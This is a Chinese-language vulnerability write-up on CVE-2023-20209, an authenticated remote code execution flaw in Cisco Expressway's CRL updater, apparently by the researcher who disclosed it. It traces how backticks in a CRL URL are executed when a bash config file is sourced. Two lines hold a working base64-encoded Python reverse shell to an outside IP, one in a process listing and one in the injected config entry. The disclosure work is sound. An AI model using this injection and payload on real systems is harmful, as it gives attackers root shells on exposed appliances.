在红队行动期间,我注意到互联网上有相当多的 Cisco Expressway,于是开始研究它,但在工作中一直没有时间进一步探索该产品。
最初我想寻找一个认证绕过漏洞来串联成 RCE,但时间不够,最终确定了一个认证后的 RCE。前端 PHP 代码看起来很有进一步利用的潜力……
这些是我发现 CVE-2023-20209 并通知供应商期间的笔记。
从利用后的进程列表开始,我们可以看到对 /sbin/request-crlupdate 的调用:
root 16449 0.0 0.0 7472 4024 ? S Feb18 0:00 bash /sbin/request-crlupdate
root 16451 0.0 0.1 7544 4280 ? S Feb18 0:00 /bin/bash /etc/init.d/crlupdater restart
root 16466 0.0 0.2 14084 11236 ? S Feb18 0:00 python -c exec(__import__('base64').decodestring('cz1fX2ltcG9ydF9fKCdzb2NrZXQnKS5zb2NrZXQoX19pbXBvcnRfXygnc29ja2V0JykuQUZfSU5FVCxfX2ltcG9ydF9fKCdzb2NrZXQnKS5TT0NLX1NUUkVBTSk7IHMuY29ubmVjdCgoJzE5Mi4zMi41NS4xMzAnLCAxMzM3KSk7IF9faW1wb3J0X18oJ29zJykuZHVwMihzLmZpbGVubygpLDApOyBfX2ltcG9ydF9fKCdvcycpLmR1cDIocy5maWxlbm8oKSwxKTsgX19pbXBvcnRfXygnb3MnKS5kdXAyKHMuZmlsZW5vKCksMik7IHA9X19pbXBvcnRfXygnc3VicHJvY2VzcycpLmNhbGwoWycvYmluL3NoJywnLWknXSk='))
如果我们查看 /sbin/request-crlupdate 的内容:
#! /bin/env bash
#
# This script is responsible to updating the CRL automatic updater process
# when configuration is changed
#
# =============================================================================
# Needs to be kept in sync with PHP and updater script
readonly STARTFILE="/tmp/request/update_crl_config"
readonly LOCK_FILE="/tmp/crlupdater_running"
# =============================================================================
# Source for helper functions
readonly FUNCTIONS="/etc/functions"
[[ -f ${FUNCTIONS} ]] && . ${FUNCTIONS}
# =============================================================================
if [[ -f ${STARTFILE} ]]; then
# Remove the flag file
rm -f ${STARTFILE}
if [[ -f ${LOCK_FILE} ]]; then
do_log "Event=\"Updating CRL data\" Detail=\"CRL update already in progress. Scheduling another update\""
touch ${STARTFILE}
# To avoid the possibility of tight loop situation until the lock file is removed,
# let's sleep for a few seconds
sleep 30
else
# Kick the CRL automatic update daemon
/etc/init.d/crlupdater restart
fi
fi
# =============================================================================
我们可以看到它正在调用 CRL 自动更新守护进程,但这并不能解释我们是如何走到这一步的。下面我尝试梳理一下代码流程。
从前端 Web 的 PHP 代码开始,在 /share/web/public/crpupdater.php 中,有一个验证检查,确保它以 http 或 https 开头:
$crl_distribution_points_root_new = new SimpleXMLElement("<root/>");
foreach ( $url_list as $line )
{
if ( strlen( $line ) > 0 )
{
if ( preg_match( '/^(http|https):\/\/.+/i', $line ) > 0 )
{
// Ensure no spaces in the URI
$line = str_replace( " ", "%20", $line );
$crl_distribution_points_root_new->record[ $idx++ ]->distribution_point = $line;
$distribution_point_count++;
}
else
{
$unsupported_distribution_point_seen = true;
}
}
}
然后这会被传递给我认为是 Web 服务背后的 Python 框架,所有的 Python 代码都是 pyc,所以流程到这里我就丢失了一些部分,但下面的内容提供了一些线索。
看起来 Python 会触发对 /sbin/request-crlupdate 的调用
/share/python/site-packages/ni/managementframework/applications/installed/crlupdatermanager/crlupdatermanager.pyc
Class to manage requestd with regards CRL updates
c C s t j j j j j | | ƒ d S( N( RO RV RW RX RY R ( R
RL ( ( sp /share/python/site-packages/ni/managementframework/applications/installed/crlupdatermanager/crlupdatermanager.pyR ? s c C s- t j d ƒ t j j j j j | d ƒ d S( s\
Creates the trigger file for requestd to restart the CRL update daemon
/etc/init.d/crlupdater 的内容:
#!/bin/bash
#set -x
#
# Set up automatic CRL updates, if configured
#
readonly SERVICE="crl_updater"
readonly PID_FILE="/var/run/${SERVICE}.pid"
[[ -f /etc/functions ]] && . /etc/functions
start()
{
# #86345
#
# Ensure that the policy services CRL file has the correct
# owner so that the web can update them
chown _nobody:_nobody /tandberg/persistent/certs/policy-services.crl
if upgrade_in_progress; then
# Upgrading so let's not go any further
echo "Upgrade in process. Not starting ${SERVICE}"
exit 0
fi
if is_service_up ${SERVICE}; then
# Service already running so let's not go any further
echo "${SERVICE} already running. Not starting"
exit 0
fi
echo "Starting ${SERVICE}"
local readonly script="/bin/crl_updater"
# Need to be kept in sync with PHP and script
local readonly config_file="/tandberg/persistent/certs/crl-update.conf"
# Ensure we have the correct directories
local readonly certificates_base="/mnt/harddisk/certificates"
local readonly crl_directory="${certificates_base}/crl"
if [[ ! -d ${crl_directory} ]]; then
mkdir -p ${crl_directory}
fi
if [[ -s ${config_file} ]]; then
. "${config_file}"
if [[ ${auto_updates} == "true" ]]; then
# Check every 600 seconds to see if it is the configured hour
# and then run the script. If the script is run it will wait
# 24 hours before running the script again
/bin/time_kicker 600 ${update_hour} ${script} > /dev/null 2>&1 &
echo $! > ${PID_FILE}
else
# We run the script anyway so that it can perform any clean-up
# required as a result of being disabled
${script} > /dev/null 2>&1 &
fi
fi
}
stop()
{
if is_service_up ${SERVICE}; then
echo "Stopping ${SERVICE}"
kill_pid_file ${SERVICE} ${PID_FILE}
rm -f ${PID_FILE}
fi
}
restart()
{
stop
start
}
case "$1" in
start)
start
;;
stop)
stop
;;
restart)
restart
;;
*)
echo $"Usage: $0 {start|stop|restart}"
exit 1
;;
esac
这里有一些重要的行:
local readonly script="/bin/crl_updater"
local readonly config_file="/tandberg/persistent/certs/crl-update.conf"
以下是利用后 /tandberg/persistent/certs/crl-update.conf 的内容:
auto_updates=true
update_hour=11
distribution_point=http://`python${IFS}-c${IFS}"exec(__import__('base64').decodestring('cz1fX2ltcG9ydF9fKCdzb2NrZXQnKS5zb2NrZXQoX19pbXBvcnRfXygnc29ja2V0JykuQUZfSU5FVCxfX2ltcG9ydF9fKCdzb2NrZXQnKS5TT0NLX1NUUkVBTSk7IHMuY29ubmVjdCgoJzE5Mi4zMi41NS4xMzAnLCAxMzM3KSk7IF9faW1wb3J0X18oJ29zJykuZHVwMihzLmZpbGVubygpLDApOyBfX2ltcG9ydF9fKCdvcycpLmR1cDIocy5maWxlbm8oKSwxKTsgX19pbXBvcnRfXygnb3MnKS5kdXAyKHMuZmlsZW5vKCksMik7IHA9X19pbXBvcnRfXygnc3VicHJvY2VzcycpLmNhbGwoWycvYmluL3NoJywnLWknXSk='))"`
我们可以在上面的文件中看到恶意的 CRL 数据。
在 /etc/init.d/crpupdater 中 IF 语句的两种情况下,都会调用执行 /bin/crl_updater。
此时,恶意代码在 /bin/crl_updater 的流程中被执行:
read_configuration()
{
# Source the configuration file
# Needs to be kept in sync with PHP and init script
local readonly config_file="/tandberg/persistent/certs/crl-update.conf"
local readonly config_separator="="
local readonly distribution_point_prefix="distribution_point"
if [[ -s ${config_file} ]]; then
. "${config_file}"
readonly CRL_UPDATE_MODE="${auto_updates}"
readonly CRL_DISTRIBUTION_POINTS=`cat ${config_file} | while read line; do echo ${line} | grep "${distribution_point_prefix}" | tr "${config_separator}" "\n" | grep -v "${distribution_point_prefix}" ; done`
if [[ ${CRL_UPDATE_MODE} == "true" ]]; then
# Ensure that we have some distribution points configured
if [[ -z "${CRL_DISTRIBUTION_POINTS}" ]]; then
updater_event_logger "ERROR: No CRL distribution points configured"
alarm raise $CONFIG_ALARM
exit_handler 1
fi
fi
else
updater_event_logger "ERROR: CRL updater failed to find configuration file or file is empty"
alarm raise $NO_CONFIG_ALARM
exit_handler 1
fi
}
然后,包含我们恶意命令的配置文件通过以下方式执行:
if [[ -s ${config_file} ]]; then
. "${config_file}"
因为我们的注入包含反引号,所以它会被执行,我提供了一个测试用例文件来展示该行为:
auto_updates=true
update_hour=11
distribution_point=http://`touch /tmp/test_file`
以与 /bin/crl_updater 脚本相同的方式手动运行测试用例文件:
~ # ls -al /tmp/ | grep test_file
~ # . /tmp/test_exec_point
~ # ls -al /tmp/ | grep test_file
-rw-r--r-- 1 root root 0 Feb 20 01:16 test_file
我为 PoC 编写了一个粗糙而快速的利用脚本,你可以在下面看到它的实际运行情况
